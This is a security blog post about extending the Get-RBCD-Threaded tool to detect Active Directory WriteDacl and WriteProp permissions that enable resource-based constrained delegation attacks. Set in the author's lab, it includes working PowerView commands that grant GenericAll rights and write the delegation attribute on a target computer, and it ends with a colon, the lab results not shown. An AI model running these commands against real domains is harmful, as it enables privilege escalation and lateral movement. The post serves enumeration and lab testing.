Update to Get-RBCD-Threaded: Including WriteDacl and WriteProp

In my previous post on resource-based constrained delegation (RBCD), I created a tool called Get-RBCD-Threaded to enumerate AD environments for possible RBCD attack paths. Get-RBCD-Threaded worked by finding AD users, groups, and computer objects that had either GenericAll, GenericWrite, or WriteOwner privileges on another computer object. These permissions would allows you to modify the ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute on a computer object and perform the attack.

After looking through a list of AD permissions on selfadsi.org, I thought there may be some other permissions that could allow you to modify the ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute, specifically WriteDacl and WriteProp.

WriteDacl

WriteDacl allows you to change permissions on an object. If you have WriteDacl permissions, you could then try and add more permissions to yourself on the object. When looking in the AD GUI, the WriteDacl permission is the “Modify Permissions” option.

In my lab environment, I configure the regularuser account to have WriteDacl permissions on the SRV01 computer object. When you query AD for regularuser‘s permissions on SRV01, it looks like this:

Get-Acl -Path "AD:CN=SRV01,OU=servers,OU=ad-lab,DC=murph,DC=coop" | select -exp access | ?{$_.IdentityReference -eq "murph\regularuser"}

You can also query for this using PowerView by filtering on the user’s SID:

get-domainuser regularuser -properties objectsid | select -exp objectsid
S-1-5-21-2483134007-2970497793-4088417448-1112

get-domainobjectacl srv01.murph.coop | ?{$_.SecurityIdentifier -eq 'S-1-5-21-2483134007-2970497793-4088417448-1112'}

Adding GenericAll privileges for regularuser on SRV01 is pretty straightforward using PowerView’s Add-DomainObjectAcl function.

Add-DomainObjectAcl -TargetIdentity srv01 -PrincipalIdentity regularuser -Rights All -Verbose

You then just need to query AD again to see that the permission was changed to GenericAll.

get-domainobjectacl srv02.murph.coop -ResolveGUIDs | ?{$_.SecurityIdentifier -eq 'S-1-5-21-2483134007-2970497793-4088417448-1129'}

With the permission changed to GenericAll, you can then carry out the RBCD attack as usual.

WriteProp

The WriteProp permission can allow you to modify a specific attribute on an AD object. When you query AD ACLs and you get back a WriteProp permission, you will see within that permission:

the ACE property ObjectType must be set to the GUID of the appropriate attribute

In other words, the permission will provide a GUID of the attribute you can modify. GUIDs are unique identifiers of objects. In AD, some attributes will have pre-defined GUIDs. To perform the RBCD attack, you need to be able to modify the ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute. According to Microsoft documentation, the GUID for that attribute is 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79.

To test this in my lab, I created a WritePropUser2 user that had WriteProp permissions on SRV02, specifically to the ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute. I also created several other WriteProp permissions for other users on different attributes to make sure my queries wouldn’t pull back any false positives.

Using PowerView, I was able to query the permissions on SRV02 and see that WritePropUser2 could modify the RBCD attribute.

get-domainobjectacl srv02.murph.coop -ResolveGUIDs | ?{$_.SecurityIdentifier -eq 'S-1-5-21-2483134007-2970497793-4088417448-1129'}

To emulate an RBCD attack, I used PowerView to add a computer object, wkst01, to SRV02‘s ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute.

$ComputerSid = Get-DomainComputer wkst01 -Properties objectsid | Select -Expand objectsid; $SD = New-Object Security.AccessControl.RawSecurityDescriptor
 -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainCompute
r srv02.murph.coop | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

I was able to confirm that the change to the ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute took place, and that it was changed to wkst01 by querying the SRV02 from my domain controller.

Updating Get-RBCD-Threaded

Having confirmed that WriteDacl and WriteProp can be used to perform an RBCD attack, I wanted to update Get-RBCD-Threaded to perform checks for those permissions. Below is the old code that looked for the permissions.

if (adRule.ActiveDirectoryRights == ActiveDirectoryRights.GenericAll)
{
    if (allSids.Contains(sid) && sid != computerSid)
    {
        var objectSid = sidMapList.FirstOrDefault(o => o.ObjectSID == sid);
        rbcdList.Add(new rbcd(objectSid.SamAccountName,objectSid.DomainName, hostname, "GenericAll"));

    }
}
else if (adRule.ActiveDirectoryRights.ToString().Contains("GenericWrite"))
{
    if (allSids.Contains(sid) && sid != computerSid)
    {
        var objectSid = sidMapList.FirstOrDefault(o => o.ObjectSID == sid);
        rbcdList.Add(new rbcd(objectSid.SamAccountName, objectSid.DomainName, hostname, "GenericWrite"));
    }
}
else if (adRule.ActiveDirectoryRights.ToString().Contains("WriteOwner"))
{
    if (allSids.Contains(sid) && sid != computerSid)
    {
        var objectSid = sidMapList.FirstOrDefault(o => o.ObjectSID == sid);
        rbcdList.Add(new rbcd(objectSid.SamAccountName, objectSid.DomainName, hostname, "WriteOwner"));
    }
}

I then updated that to include the following:

else if (adRule.ActiveDirectoryRights.ToString().Contains("WriteDacl"))
{
    if (allSids.Contains(sid) && sid != computerSid)
    {
        var objectSid = sidMapList.FirstOrDefault(o => o.ObjectSID == sid);
        rbcdList.Add(new rbcd(objectSid.SamAccountName, objectSid.DomainName, hostname, "WriteDacl"));
    }
}
else if (adRule.ActiveDirectoryRights.ToString().Contains("WriteProp"))
{
    if (adRule.ObjectType.ToString().Contains("3f78c3e5-f79a-46bd-a0b8-9d18116ddc79"))
    {
        if (allSids.Contains(sid) && sid != computerSid)
        {
            var objectSid = sidMapList.FirstOrDefault(o => o.ObjectSID == sid);
            rbcdList.Add(new rbcd(objectSid.SamAccountName, objectSid.DomainName, hostname, "WriteProp"));
        }
    }
    
}

Get-RBCD-Threaded should now include results for WriteDacl permissions, as well as for WriteProp permissions if the GUID of the attribute / ObjectType is 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79.

I ran it in my lab environment and confirmed the results: